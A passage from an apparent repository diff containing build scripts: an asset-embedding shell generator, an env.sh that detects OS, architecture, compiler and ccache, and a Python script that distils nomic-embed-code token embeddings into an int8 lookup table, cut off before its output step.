||||
# Use od (POSIX) to generate hex bytes — works everywhere without xxd/vim
|
||||
od -An -tx1 -v < "$file" | tr -s ' ' '\n' | grep -v '^$' | sed 's/^/0x/; s/$/,/' | paste -sd' ' - | fold -s -w 76 | sed 's/^/ /' >> "$local_c"
|
||||
echo "};" >> "$local_c"
|
||||
echo "const unsigned int ${local_sym}_size = sizeof(${local_sym}_data);" >> "$local_c"
|
||||
|
||||
${CC:-cc} -c -O2 -o "$obj" "$local_c"
|
||||
rm -f "$local_c"
|
||||
fi
|
||||
|
||||
OBJ_FILES+=("$obj")
|
||||
echo " $rel -> $obj"
|
||||
done
|
||||
|
||||
# Generate embedded_assets.c
|
||||
ASSETS_C="src/ui/embedded_assets.c"
|
||||
cat > "$ASSETS_C" <<'HEADER'
|
||||
/*
|
||||
* embedded_assets.c — Generated file mapping URL paths to embedded bytes.
|
||||
* DO NOT EDIT — regenerated by scripts/embed-frontend.sh
|
||||
*/
|
||||
#include "ui/embedded_assets.h"
|
||||
#include <string.h>
|
||||
|
||||
HEADER
|
||||
|
||||
# Declare extern symbols
|
||||
for file in "${FILES[@]}"; do
|
||||
rel="${file#$DIST_DIR/}"
|
||||
mangled=$(mangle "$rel")
|
||||
sym="_binary_${mangled}"
|
||||
|
||||
if ! $IS_LINUX; then
|
||||
echo "extern const unsigned char ${sym}_data[];" >> "$ASSETS_C"
|
||||
echo "extern const unsigned int ${sym}_size;" >> "$ASSETS_C"
|
||||
else
|
||||
echo "extern const unsigned char ${sym}_start[];" >> "$ASSETS_C"
|
||||
echo "extern const unsigned char ${sym}_end[];" >> "$ASSETS_C"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "" >> "$ASSETS_C"
|
||||
echo "cbm_embedded_file_t CBM_EMBEDDED_FILES[] = {" >> "$ASSETS_C"
|
||||
|
||||
for file in "${FILES[@]}"; do
|
||||
rel="${file#$DIST_DIR/}"
|
||||
mangled=$(mangle "$rel")
|
||||
sym="_binary_${mangled}"
|
||||
ct=$(content_type_for "$rel")
|
||||
|
||||
# URL path: /index.html for root, /assets/... for assets
|
||||
url_path="/$rel"
|
||||
|
||||
if ! $IS_LINUX; then
|
||||
echo " {\"$url_path\", ${sym}_data, 0, \"$ct\"}," >> "$ASSETS_C"
|
||||
else
|
||||
echo " {\"$url_path\", ${sym}_start, 0, \"$ct\"}," >> "$ASSETS_C"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "};" >> "$ASSETS_C"
|
||||
echo "const int CBM_EMBEDDED_FILE_COUNT = ${#FILES[@]};" >> "$ASSETS_C"
|
||||
|
||||
# Generate size fixup
|
||||
if $IS_LINUX; then
|
||||
# Linux: compute size from start/end pointers (ld -r -b binary symbols)
|
||||
cat >> "$ASSETS_C" <<'SIZEINIT'
|
||||
|
||||
static void __attribute__((constructor)) init_embedded_sizes(void) {
|
||||
cbm_embedded_file_t *files = CBM_EMBEDDED_FILES;
|
||||
SIZEINIT
|
||||
|
||||
for i in "${!FILES[@]}"; do
|
||||
rel="${FILES[$i]#$DIST_DIR/}"
|
||||
mangled=$(mangle "$rel")
|
||||
sym="_binary_${mangled}"
|
||||
echo " files[$i].size = (unsigned int)(${sym}_end - ${sym}_start);" >> "$ASSETS_C"
|
||||
done
|
||||
|
||||
echo "}" >> "$ASSETS_C"
|
||||
else
|
||||
# macOS/Windows: use explicit _size vars from xxd-generated C arrays
|
||||
cat >> "$ASSETS_C" <<'SIZEINIT'
|
||||
|
||||
static void __attribute__((constructor)) init_embedded_sizes(void) {
|
||||
cbm_embedded_file_t *files = CBM_EMBEDDED_FILES;
|
||||
SIZEINIT
|
||||
|
||||
for i in "${!FILES[@]}"; do
|
||||
rel="${FILES[$i]#$DIST_DIR/}"
|
||||
mangled=$(mangle "$rel")
|
||||
sym="_binary_${mangled}"
|
||||
echo " files[$i].size = ${sym}_size;" >> "$ASSETS_C"
|
||||
done
|
||||
|
||||
echo "}" >> "$ASSETS_C"
|
||||
fi
|
||||
|
||||
# Add lookup function
|
||||
cat >> "$ASSETS_C" <<'LOOKUP'
|
||||
|
||||
const cbm_embedded_file_t *cbm_embedded_lookup(const char *path) {
|
||||
for (int i = 0; i < CBM_EMBEDDED_FILE_COUNT; i++) {
|
||||
if (strcmp(CBM_EMBEDDED_FILES[i].path, path) == 0) {
|
||||
return &CBM_EMBEDDED_FILES[i];
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
LOOKUP
|
||||
|
||||
echo "Generated $ASSETS_C with ${#FILES[@]} embedded files"
|
||||
echo "Object files in $OUTPUT_DIR:"
|
||||
printf ' %s\n' "${OBJ_FILES[@]}"
|
||||
+132
@@ -0,0 +1,132 @@
|
||||
#!/usr/bin/env bash
|
||||
# env.sh — Shared environment detection for all build scripts.
|
||||
#
|
||||
# Sourced by test.sh, build.sh, lint.sh. Not meant to run standalone.
|
||||
#
|
||||
# Exports:
|
||||
# ARCH — target architecture (arm64 / x86_64)
|
||||
# ARCHFLAGS — "-arch <arch>" on macOS (target slice for clang/ld), empty elsewhere
|
||||
# NPROC — number of CPU cores
|
||||
# OS — darwin / linux / windows
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
# ── Detect OS ──────────────────────────────────────────────────
|
||||
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
|
||||
case "$OS" in
|
||||
darwin) OS="darwin" ;;
|
||||
linux) OS="linux" ;;
|
||||
mingw*|msys*|cygwin*) OS="windows" ;;
|
||||
*) OS="unknown" ;;
|
||||
esac
|
||||
|
||||
# ── Detect / override architecture ─────────────────────────────
|
||||
# Default: native HARDWARE architecture (not Rosetta-translated).
|
||||
# On macOS under Rosetta, uname -m returns x86_64 even on Apple Silicon.
|
||||
# We use sysctl to detect the true hardware.
|
||||
HW_ARCH="$(uname -m)"
|
||||
if [[ "$(uname -s)" == "Darwin" ]] && sysctl -n hw.optional.arm64 2>/dev/null | grep -q 1; then
|
||||
HW_ARCH="arm64"
|
||||
fi
|
||||
case "$HW_ARCH" in
|
||||
aarch64|arm64) HW_ARCH="arm64" ;;
|
||||
x86_64|amd64) HW_ARCH="x86_64" ;;
|
||||
esac
|
||||
|
||||
# CBM_ARCH env var or --arch flag override (parsed by calling script)
|
||||
ARCH="${CBM_ARCH:-$HW_ARCH}"
|
||||
|
||||
# ── Target-architecture flags (macOS only) ─────────────────────
|
||||
# Select the target slice explicitly with clang/ld's -arch instead of
|
||||
# relaunching make under `arch -<arch>`. Explicit -arch is the only approach
|
||||
# that works across toolchains: a Nix/Homebrew clang wrapper has a fixed
|
||||
# target triple, so `arch -x86_64 make` would still emit native arm64. It also
|
||||
# lets host tools (node, codegen) keep running natively during a cross-build.
|
||||
# Makefile.cbm folds $(ARCHFLAGS) into CC/CXX so it reaches every compile and
|
||||
# link, including the vendored objects. Empty on Linux/Windows.
|
||||
ARCHFLAGS=""
|
||||
if [[ "$OS" == "darwin" ]]; then
|
||||
ARCHFLAGS="-arch ${ARCH}"
|
||||
fi
|
||||
export ARCHFLAGS
|
||||
|
||||
# ── Detect parallelism ─────────────────────────────────────────
|
||||
NPROC=$(nproc 2>/dev/null || sysctl -n hw.ncpu 2>/dev/null || echo 4)
|
||||
|
||||
# ── Verify compiler can build for the target arch ──────────────
|
||||
# On macOS, PROBE actual capability instead of inspecting the compiler's own
|
||||
# Mach-O header. The driver is often a wrapper script (Nix, ccache, Homebrew)
|
||||
# or a clang that cross-compiles, so `file` on the binary says nothing about
|
||||
# what it can target — it just sees a shell script or a host-arch executable.
|
||||
# Compiling + linking a trivial program with -arch <target> is the truth.
|
||||
verify_compiler() {
|
||||
local compiler="$1"
|
||||
local bin
|
||||
bin="$(command -v "$compiler" 2>/dev/null || true)"
|
||||
|
||||
if [[ -z "$bin" ]]; then
|
||||
echo "ERROR: compiler '$compiler' not found in PATH" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [[ "$OS" == "darwin" ]]; then
|
||||
local probe_out
|
||||
probe_out="$(mktemp -t cbm-archprobe.XXXXXX)"
|
||||
if ! printf 'int main(void){return 0;}\n' \
|
||||
| "$compiler" -arch "$ARCH" -x c - -o "$probe_out" >/dev/null 2>&1; then
|
||||
rm -f "$probe_out"
|
||||
echo "ERROR: $compiler cannot build for -arch $ARCH ($bin)" >&2
|
||||
echo " A trivial $ARCH compile + link failed with this toolchain." >&2
|
||||
if [[ "$ARCH" != "$HW_ARCH" ]]; then
|
||||
echo " Cross-building $HW_ARCH -> $ARCH needs the $ARCH SDK slice + runtime;" >&2
|
||||
echo " to build for this machine instead, re-run with: --arch $HW_ARCH" >&2
|
||||
fi
|
||||
exit 1
|
||||
fi
|
||||
rm -f "$probe_out"
|
||||
fi
|
||||
}
|
||||
|
||||
# ── Default compiler selection ─────────────────────────────────
|
||||
# macOS: cc (Apple Clang). Linux/Windows: gcc (system default).
|
||||
# CI overrides via CC=gcc CXX=g++ args. Local macOS overrides via CC=cc.
|
||||
if [[ -z "${CC:-}" ]]; then
|
||||
if [[ "$OS" == "darwin" ]]; then
|
||||
export CC=cc CXX=c++
|
||||
else
|
||||
export CC=gcc CXX=g++
|
||||
fi
|
||||
fi
|
||||
|
||||
# ── Verified compiler cache (ccache, opt-out CBM_NO_CCACHE=1) ──
|
||||
# Activated through ccache's masquerade directories so $CC keeps its plain
|
||||
# name everywhere (verify_compiler, make, link lines are untouched).
|
||||
# Zero-staleness guarantee: CCACHE_COMPILERCHECK=content keys every entry on
|
||||
# the CONTENT of the compiler binary plus the fully preprocessed translation
|
||||
# unit, so a cache hit is provably the identical compilation — a stale or
|
||||
# foreign cache can only MISS, never return wrong output. No CCACHE_BASEDIR
|
||||
# and no path rewriting: debug-info and sanitizer report paths stay exact.
|
||||
if [[ "${CBM_NO_CCACHE:-0}" != "1" ]] && command -v ccache >/dev/null 2>&1; then
|
||||
for _cbm_ccache_masq in \
|
||||
/usr/lib/ccache \
|
||||
/opt/homebrew/opt/ccache/libexec \
|
||||
/usr/local/opt/ccache/libexec \
|
||||
/clang64/lib/ccache/bin \
|
||||
/clangarm64/lib/ccache/bin; do
|
||||
if [[ -d "$_cbm_ccache_masq" ]]; then
|
||||
case ":$PATH:" in
|
||||
*":$_cbm_ccache_masq:"*) ;;
|
||||
*) PATH="$_cbm_ccache_masq:$PATH" ;;
|
||||
esac
|
||||
fi
|
||||
done
|
||||
unset _cbm_ccache_masq
|
||||
export PATH
|
||||
export CCACHE_COMPILERCHECK=content
|
||||
fi
|
||||
|
||||
# ── Print environment summary ──────────────────────────────────
|
||||
print_env() {
|
||||
local context="$1"
|
||||
echo "=== $context: os=$OS arch=$ARCH cores=$NPROC cc=${CC:-default} cxx=${CXX:-default} ==="
|
||||
}
|
||||
@@ -0,0 +1,528 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Extract token embeddings from nomic-embed-code (7B) for static lookup table.
|
||||
|
||||
Loads the full model, filters the vocabulary to code-relevant tokens,
|
||||
runs full inference on each token, applies simulated attention, quantizes
|
||||
to int8, and outputs files compatible with vendored/unixcoder/ format.
|
||||
|
||||
Usage:
|
||||
pip3.9 install torch transformers sentence-transformers
|
||||
python3.9 scripts/extract_nomic_vectors.py [--output-dir vendored/nomic]
|
||||
|
||||
Output:
|
||||
code_vectors.bin — [int32 count][int32 dim] + count×dim int8
|
||||
code_tokens.txt — one token per line
|
||||
code_tokens.h — C header: static const char *PRETRAINED_TOKENS[N]
|
||||
code_vectors.h — C header: defines + inline accessor
|
||||
code_vectors_blob.S — assembler .incbin
|
||||
|
||||
One-time extraction. ~2-3h on GPU, ~6-10h on M3 Pro CPU (float16, ~14GB RAM).
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import struct
|
||||
import sys
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
import numpy as np
|
||||
import torch
|
||||
|
||||
# Parallelize CPU inference across all cores BEFORE any torch ops
|
||||
NUM_THREADS = min(os.cpu_count() * 2, 12)
|
||||
torch.set_num_threads(NUM_THREADS)
|
||||
torch.set_num_interop_threads(max(NUM_THREADS // 2, 1))
|
||||
os.environ.setdefault("OMP_NUM_THREADS", str(NUM_THREADS))
|
||||
os.environ.setdefault("MKL_NUM_THREADS", str(NUM_THREADS))
|
||||
|
||||
from transformers import AutoModel, AutoTokenizer
|
||||
|
||||
|
||||
# ── Configuration ──────────────────────────────────────────────────────
|
||||
|
||||
MODEL_NAME = "nomic-ai/nomic-embed-code"
|
||||
OUTPUT_DIM = 768 # Target dimension (Matryoshka truncation if model outputs more)
|
||||
SIM_ATTENTION_K = 32 # Top-K neighbors for simulated attention
|
||||
SIM_ATTENTION_ITERS = 3 # Number of simulated attention iterations
|
||||
SIM_ATTENTION_ALPHA = 0.3 # Blend ratio: (1-α)×original + α×neighbor_mean
|
||||
BATCH_SIZE = 32 # Tokens per inference batch (sized for thread saturation)
|
||||
CHECKPOINT_EVERY = 500 # Save checkpoint every N tokens
|
||||
|
||||
|
||||
# ── Token filtering ───────────────────────────────────────────────────
|
||||
|
||||
def is_code_relevant(token_str: str) -> bool:
|
||||
"""Filter vocabulary to code-relevant tokens.
|
||||
|
||||
Goal: keep tokens that our runtime camelCase/snake_case splitter would
|
||||
produce from identifiers. Reject BPE noise, punctuation combos, and
|
||||
non-Latin scripts.
|
||||
"""
|
||||
s = token_str.strip()
|
||||
if not s:
|
||||
return False
|
||||
|
||||
# Remove BPE markers (Ġ = space prefix, ▁ = sentencepiece, Ċ/ċ = newline in Qwen)
|
||||
clean = s.lstrip("\u0120\u2581") # Ġ, ▁
|
||||
if not clean:
|
||||
return False
|
||||
|
||||
# Skip special tokens
|
||||
if clean.startswith("<") and clean.endswith(">"):
|
||||
return False
|
||||
if clean.startswith("[") and clean.endswith("]"):
|
||||
return False
|
||||
|
||||
# Strip leading/trailing underscores (common in BPE) but keep content
|
||||
inner = clean.strip("_")
|
||||
if not inner:
|
||||
return False
|
||||
|
||||
# STRICT: must be purely alphanumeric + underscores (identifier-shaped)
|
||||
# This rejects BPE noise like "!");ċ", "!!!!ċċ", etc.
|
||||
if not re.match(r'^[a-zA-Z][a-zA-Z0-9_]*$', inner):
|
||||
return False
|
||||
|
||||
# Must be at least 2 chars of actual content
|
||||
if len(inner) < 2:
|
||||
return False
|
||||
|
||||
return True
|
||||
|
||||
|
||||
def clean_token(token_str: str) -> str:
|
||||
"""Normalize a BPE token to the form our runtime tokenizer produces."""
|
||||
s = token_str.strip()
|
||||
# Strip BPE space markers
|
||||
s = s.lstrip("\u0120\u2581")
|
||||
# Strip leading/trailing underscores
|
||||
s = s.strip("_")
|
||||
# Lowercase (our runtime tokenizer lowercases)
|
||||
s = s.lower()
|
||||
return s
|
||||
|
||||
|
||||
# ── Simulated attention ──────────────────────────────────────────────
|
||||
|
||||
def simulated_attention(vectors: np.ndarray, k: int, iterations: int,
|
||||
alpha: float) -> np.ndarray:
|
||||
"""
|
||||
Apply simulated self-attention: for each vector, blend with mean of
|
||||
top-K nearest neighbors. This approximates contextual composition
|
||||
that real attention provides.
|
||||
|
||||
vectors: (N, D) float32 unit-normalized
|
||||
Returns: (N, D) float32 unit-normalized
|
||||
"""
|
||||
n, d = vectors.shape
|
||||
result = vectors.copy()
|
||||
|
||||
for iteration in range(iterations):
|
||||
t0 = time.time()
|
||||
# Compute cosine similarity matrix in chunks to avoid OOM
|
||||
# For 40K vectors × 768d, full matrix = 40K² × 4 bytes = 6.4GB
|
||||
# Process in chunks of 2048
|
||||
chunk_size = 2048
|
||||
new_result = np.zeros_like(result)
|
||||
|
||||
for i in range(0, n, chunk_size):
|
||||
end = min(i + chunk_size, n)
|
||||
chunk = result[i:end] # (chunk, D)
|
||||
|
||||
# Cosine similarity: chunk × all^T
|
||||
sims = chunk @ result.T # (chunk, N)
|
||||
|
||||
# For each vector in chunk, find top-K neighbors (excluding self)
|
||||
for j in range(end - i):
|
||||
global_idx = i + j
|
||||
sim_row = sims[j].copy()
|
||||
sim_row[global_idx] = -1.0 # Exclude self
|
||||
|
||||
# Top-K indices
|
||||
if k < n - 1:
|
||||
top_k_idx = np.argpartition(sim_row, -k)[-k:]
|
||||
else:
|
||||
top_k_idx = np.arange(n)
|
||||
top_k_idx = top_k_idx[top_k_idx != global_idx]
|
||||
|
||||
neighbor_mean = result[top_k_idx].mean(axis=0)
|
||||
|
||||
# Blend
|
||||
blended = (1 - alpha) * result[global_idx] + alpha * neighbor_mean
|
||||
# Re-normalize
|
||||
norm = np.linalg.norm(blended)
|
||||
if norm > 1e-8:
|
||||
blended /= norm
|
||||
new_result[global_idx] = blended
|
||||
|
||||
result = new_result
|
||||
elapsed = time.time() - t0
|
||||
print(f" sim-attention iter {iteration + 1}/{iterations}: {elapsed:.1f}s")
|
||||
|
||||
return result
|
||||
|
||||
|
||||
# ── Extraction ───────────────────────────────────────────────────────
|
||||
|
||||
def extract_embeddings(model, tokenizer, tokens: list, device: str,
|
||||
batch_size: int = 64,
|
||||
checkpoint_path: str = None) -> np.ndarray:
|
||||
"""Run full model inference on each token string. Returns (N, D) float32."""
|
||||
|
||||
# Check for checkpoint
|
||||
start_idx = 0
|
||||
all_vecs = []
|
||||
if checkpoint_path and os.path.exists(checkpoint_path):
|
||||
data = np.load(checkpoint_path)
|
||||
all_vecs = list(data["vectors"])
|
||||
start_idx = len(all_vecs)
|
||||
print(f" resuming from checkpoint: {start_idx}/{len(tokens)} tokens")
|
||||
|
||||
model.eval()
|
||||
total = len(tokens)
|
||||
t0 = time.time()
|
||||
|
||||
with torch.no_grad():
|
||||
for batch_start in range(start_idx, total, batch_size):
|
||||
batch_end = min(batch_start + batch_size, total)
|
||||
batch_tokens = tokens[batch_start:batch_end]
|
||||
|
||||
# nomic-embed-code requires search_query or search_document prefix
|
||||
# For single tokens, we use the token as-is (query mode)
|
||||
texts = [f"search_query: {t}" for t in batch_tokens]
|
||||
|
||||
encoded = tokenizer(
|
||||
texts,
|
||||
padding=True,
|
||||
truncation=True,
|
||||
max_length=64,
|
||||
return_tensors="pt"
|
||||
).to(device)
|
||||
|
||||
outputs = model(**encoded)
|
||||
|
||||
# Mean pooling over non-padding tokens
|
||||
attention_mask = encoded["attention_mask"]
|
||||
token_embeddings = outputs.last_hidden_state
|
||||
input_mask_expanded = (
|
||||
attention_mask.unsqueeze(-1)
|
||||
.expand(token_embeddings.size())
|
||||
.float()
|
||||
)
|
||||
sum_embeddings = torch.sum(
|
||||
token_embeddings * input_mask_expanded, dim=1
|
||||
)
|
||||
sum_mask = torch.clamp(input_mask_expanded.sum(dim=1), min=1e-9)
|
||||
mean_pooled = sum_embeddings / sum_mask
|
||||
|
||||
# Truncate to OUTPUT_DIM if model outputs more (Matryoshka)
|
||||
if mean_pooled.shape[1] > OUTPUT_DIM:
|
||||
mean_pooled = mean_pooled[:, :OUTPUT_DIM]
|
||||
|
||||
# L2 normalize
|
||||
mean_pooled = torch.nn.functional.normalize(mean_pooled, p=2, dim=1)
|
||||
|
||||
vecs = mean_pooled.cpu().numpy()
|
||||
all_vecs.extend(vecs)
|
||||
|
||||
# Progress
|
||||
done = batch_end
|
||||
elapsed = time.time() - t0
|
||||
rate = (done - start_idx) / elapsed if elapsed > 0 else 0
|
||||
eta = (total - done) / rate if rate > 0 else 0
|
||||
print(
|
||||
f" [{done:>6}/{total}] "
|
||||
f"{rate:.1f} tok/s "
|
||||
f"ETA {eta / 60:.0f}m",
|
||||
flush=True
|
||||
)
|
||||
|
||||
# Checkpoint
|
||||
if checkpoint_path and (done % CHECKPOINT_EVERY < batch_size):
|
||||
np.savez_compressed(
|
||||
checkpoint_path,
|
||||
vectors=np.array(all_vecs, dtype=np.float32)
|
||||
)
|
||||
|
||||
print()
|
||||
return np.array(all_vecs, dtype=np.float32)
|
||||
|
||||
|
||||
# ── Output generation ────────────────────────────────────────────────
|
||||
|
||||
def write_bin(path: str, vectors: np.ndarray, dim: int):
|
||||
"""Write binary blob: [int32 count][int32 dim] + count×dim int8."""
|
||||
n = vectors.shape[0]
|
||||
# Quantize: scale to [-127, 127], round to int8
|
||||
quantized = np.clip(np.round(vectors * 127.0), -127, 127).astype(np.int8)
|
||||
|
||||
with open(path, "wb") as f:
|
||||
f.write(struct.pack("<ii", n, dim))
|
||||
f.write(quantized.tobytes())
|
||||
|
||||
size_mb = os.path.getsize(path) / (1024 * 1024)
|
||||
print(f" {path}: {n} vectors × {dim}d = {size_mb:.1f} MB")
|
||||
|
||||
|
||||
def write_tokens_txt(path: str, tokens: list):
|
||||
"""Write plain text token list."""
|
||||
with open(path, "w") as f:
|
||||
for t in tokens:
|
||||
f.write(t + "\n")
|
||||
print(f" {path}: {len(tokens)} tokens")
|
||||
|
||||
|
||||
def write_tokens_h(path: str, tokens: list):
|
||||
"""Write C header with token string array."""
|
||||
with open(path, "w") as f:
|
||||
f.write(f"/* nomic-embed-code token vocabulary — {len(tokens)} tokens. */\n")
|
||||
f.write("#ifndef CBM_NOMIC_TOKENS_H\n")
|
||||
f.write("#define CBM_NOMIC_TOKENS_H\n\n")
|
||||
f.write(f"static const char *PRETRAINED_TOKENS[{len(tokens)}] = {{\n")
|
||||
for t in tokens:
|
||||
escaped = t.replace("\\", "\\\\").replace('"', '\\"')
|
||||
f.write(f'"{escaped}",\n')
|
||||
f.write("};\n\n")
|
||||
f.write("#endif /* CBM_NOMIC_TOKENS_H */\n")
|
||||
print(f" {path}: written")
|
||||
|
||||
|
||||
def write_vectors_h(path: str, token_count: int, dim: int, incbin_path: str):
|
||||
"""Write C header with defines and inline accessor."""
|
||||
with open(path, "w") as f:
|
||||
f.write(f"""/* nomic-embed-code (nomic-ai/nomic-embed-code) token embeddings.
|
||||
* {token_count} tokens x {dim}d int8-quantized unit vectors.
|
||||
* Distilled from 7B model via full inference on filtered vocabulary.
|
||||
* Simulated attention: {SIM_ATTENTION_ITERS} iterations, K={SIM_ATTENTION_K}, alpha={SIM_ATTENTION_ALPHA}.
|
||||
*
|
||||
* Vector blob embedded via code_vectors_blob.S (assembler .incbin).
|
||||
* Token strings are in this header as a static array.
|
||||
*
|
||||
* Source: https://huggingface.co/nomic-ai/nomic-embed-code
|
||||
* License: Apache 2.0
|
||||
*/
|
||||
#ifndef CBM_NOMIC_VECTORS_H
|
||||
#define CBM_NOMIC_VECTORS_H
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
#define PRETRAINED_TOKEN_COUNT {token_count}
|
||||
#define PRETRAINED_DIM {dim}
|
||||
|
||||
/* Raw vector blob: first 8 bytes = [int32 count][int32 dim],
|
||||
* then count x dim int8 values (unit-normalized, x127 scaled). */
|
||||
extern const unsigned char PRETRAINED_VECTOR_BLOB[];
|
||||
extern const unsigned int PRETRAINED_VECTOR_BLOB_LEN;
|
||||
|
||||
/* Access the int8 vector for token index i. */
|
||||
static inline const int8_t *pretrained_vec_at(int i) {{
|
||||
return (const int8_t *)(PRETRAINED_VECTOR_BLOB + 8 + (size_t)i * PRETRAINED_DIM);
|
||||
}}
|
||||
|
||||
/* Token strings (separate header to keep this file clean). */
|
||||
#include "code_tokens.h"
|
||||
|
||||
#endif /* CBM_NOMIC_VECTORS_H */
|
||||
""")
|
||||
print(f" {path}: written")
|
||||
|
||||
|
||||
def write_blob_s(path: str, incbin_path: str):
|
||||
"""Write assembler .incbin directive."""
|
||||
with open(path, "w") as f:
|
||||
f.write(f"""/* nomic-embed-code vector blob embedded via assembler. */
|
||||
.section __DATA,__const
|
||||
.globl _PRETRAINED_VECTOR_BLOB
|
||||
.globl _PRETRAINED_VECTOR_BLOB_LEN
|
||||
.p2align 4
|
||||
_PRETRAINED_VECTOR_BLOB:
|
||||
.incbin "{incbin_path}"
|
||||
_PRETRAINED_VECTOR_BLOB_END:
|
||||
|
||||
.section __DATA,__const
|
||||
.p2align 2
|
||||
_PRETRAINED_VECTOR_BLOB_LEN:
|
||||
.long _PRETRAINED_VECTOR_BLOB_END - _PRETRAINED_VECTOR_BLOB
|
||||
""")
|
||||
print(f" {path}: written")
|
||||
|
||||
|
||||
# ── Main ─────────────────────────────────────────────────────────────
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Extract nomic-embed-code token embeddings")
|
||||
parser.add_argument("--output-dir", default="vendored/nomic",
|
||||
help="Output directory (default: vendored/nomic)")
|
||||
parser.add_argument("--device", default=None,
|
||||
help="Device: cuda, mps, cpu (auto-detected)")
|
||||
parser.add_argument("--skip-attention", action="store_true",
|
||||
help="Skip simulated attention (faster, lower quality)")
|
||||
parser.add_argument("--batch-size", type=int, default=BATCH_SIZE,
|
||||
help=f"Batch size (default: {BATCH_SIZE})")
|
||||
parser.add_argument("--checkpoint", default=None,
|
||||
help="Checkpoint file path (auto: <output-dir>/checkpoint.npz)")
|
||||
args = parser.parse_args()
|
||||
|
||||
batch_size = args.batch_size
|
||||
|
||||
# Auto-detect device
|
||||
# Prefer CPU for 7B models on Apple Silicon — MPS shares unified memory
|
||||
# with the system and can cause OOM/crashes. CPU keeps allocation predictable.
|
||||
# Use --device mps to override if you have enough headroom (32GB+).
|
||||
if args.device:
|
||||
device = args.device
|
||||
elif torch.cuda.is_available():
|
||||
device = "cuda"
|
||||
else:
|
||||
device = "cpu"
|
||||
|
||||
# Force line-buffered stdout so tee/log sees output immediately
|
||||
sys.stdout.reconfigure(line_buffering=True)
|
||||
|
||||
print(f"device={device}")
|
||||
print(f"threads={torch.get_num_threads()}")
|
||||
print(f"model={MODEL_NAME}")
|
||||
print(f"output_dim={OUTPUT_DIM}")
|
||||
print()
|
||||
|
||||
# Create output dir
|
||||
out_dir = Path(args.output_dir)
|
||||
out_dir.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
checkpoint_path = args.checkpoint or str(out_dir / "checkpoint.npz")
|
||||
|
||||
# ── Step 1: Load model + tokenizer ──
|
||||
print("step 1: loading model + tokenizer...")
|
||||
t0 = time.time()
|
||||
tokenizer = AutoTokenizer.from_pretrained(MODEL_NAME, trust_remote_code=True)
|
||||
model = AutoModel.from_pretrained(
|
||||
MODEL_NAME,
|
||||
trust_remote_code=True,
|
||||
dtype=torch.float16, # 7B×2B = ~14GB (vs 28GB float32)
|
||||
low_cpu_mem_usage=True, # Stream weights, no 2x peak during load
|
||||
)
|
||||
model = model.to(device)
|
||||
print(f" loaded in {time.time() - t0:.1f}s")
|
||||
print(f" hidden_size={model.config.hidden_size}")
|
||||
print(f" vocab_size={tokenizer.vocab_size}")
|
||||
print()
|
||||
|
||||
# ── Step 2: Filter vocabulary ──
|
||||
print("step 2: filtering vocabulary to code-relevant tokens...")
|
||||
vocab = tokenizer.get_vocab()
|
||||
print(f" raw vocabulary: {len(vocab)} tokens")
|
||||
|
||||
# Filter and deduplicate
|
||||
seen = set()
|
||||
filtered_tokens = []
|
||||
for tok_str, tok_id in sorted(vocab.items(), key=lambda x: x[1]):
|
||||
if not is_code_relevant(tok_str):
|
||||
continue
|
||||
clean = clean_token(tok_str)
|
||||
if not clean or clean in seen:
|
||||
continue
|
||||
if len(clean) < 2:
|
||||
continue
|
||||
seen.add(clean)
|
||||
filtered_tokens.append(clean)
|
||||
|
||||
filtered_tokens.sort()
|
||||
print(f" code-relevant (deduplicated): {len(filtered_tokens)} tokens")
|
||||
|
||||
# Show sample
|
||||
sample = filtered_tokens[:20]
|
||||
print(f" sample: {sample}")
|
||||
print()
|
||||
|
||||
# ── Step 3: Extract embeddings (full inference) ──
|
||||
print(f"step 3: extracting embeddings ({len(filtered_tokens)} tokens, batch_size={batch_size})...")
|
||||
t0 = time.time()
|
||||
vectors = extract_embeddings(
|
||||
model, tokenizer, filtered_tokens, device,
|
||||
batch_size=batch_size, checkpoint_path=checkpoint_path
|
||||
)
|
||||
elapsed = time.time() - t0
|
||||
print(f" extracted {vectors.shape[0]} vectors × {vectors.shape[1]}d in {elapsed:.0f}s")
|
||||
|
||||
# Truncate to OUTPUT_DIM if needed
|
||||
if vectors.shape[1] > OUTPUT_DIM:
|
||||
print(f" truncating {vectors.shape[1]}d -> {OUTPUT_DIM}d (Matryoshka)")
|
||||
vectors = vectors[:, :OUTPUT_DIM]
|
||||
# Re-normalize after truncation
|
||||
norms = np.linalg.norm(vectors, axis=1, keepdims=True)
|
||||
norms = np.maximum(norms, 1e-8)
|
||||
vectors = vectors / norms
|
||||
|
||||
print(f" final shape: {vectors.shape}")
|
||||
|
||||
# Mean-center to fix anisotropy (transformer embeddings cluster tightly,
|
||||
# making all cosine similarities ~0.95+). Subtracting the corpus mean
|
||||
# spreads vectors apart, making cosine discriminative.
|
||||
mean_vec = vectors.mean(axis=0)
|
||||
mean_norm = np.linalg.norm(mean_vec)
|
||||
print(f" mean vector norm before centering: {mean_norm:.4f} (>0.5 = anisotropic)")
|
||||
vectors = vectors - mean_vec
|
||||
# Re-normalize after centering
|
||||
norms = np.linalg.norm(vectors, axis=1, keepdims=True)
|
||||
norms = np.maximum(norms, 1e-8)
|
||||
vectors = vectors / norms
|
||||
mean_after = np.linalg.norm(vectors.mean(axis=0))
|
||||
print(f" mean vector norm after centering: {mean_after:.6f}")
|
||||
print()
|
||||
|
||||
# ── Step 4: Simulated attention ──
|
||||
if not args.skip_attention:
|
||||
print(f"step 4: simulated attention (K={SIM_ATTENTION_K}, "
|
||||
f"iters={SIM_ATTENTION_ITERS}, alpha={SIM_ATTENTION_ALPHA})...")
|
||||
t0 = time.time()
|
||||
vectors = simulated_attention(
|
||||
vectors, SIM_ATTENTION_K, SIM_ATTENTION_ITERS, SIM_ATTENTION_ALPHA
|
||||
)
|
||||
print(f" completed in {time.time() - t0:.1f}s")
|
||||
print()
|
||||
else:
|
||||
print("step 4: simulated attention SKIPPED")
|
||||
print()
|
||||
|
||||
# ── Step 5: Write output files ──
|
||||
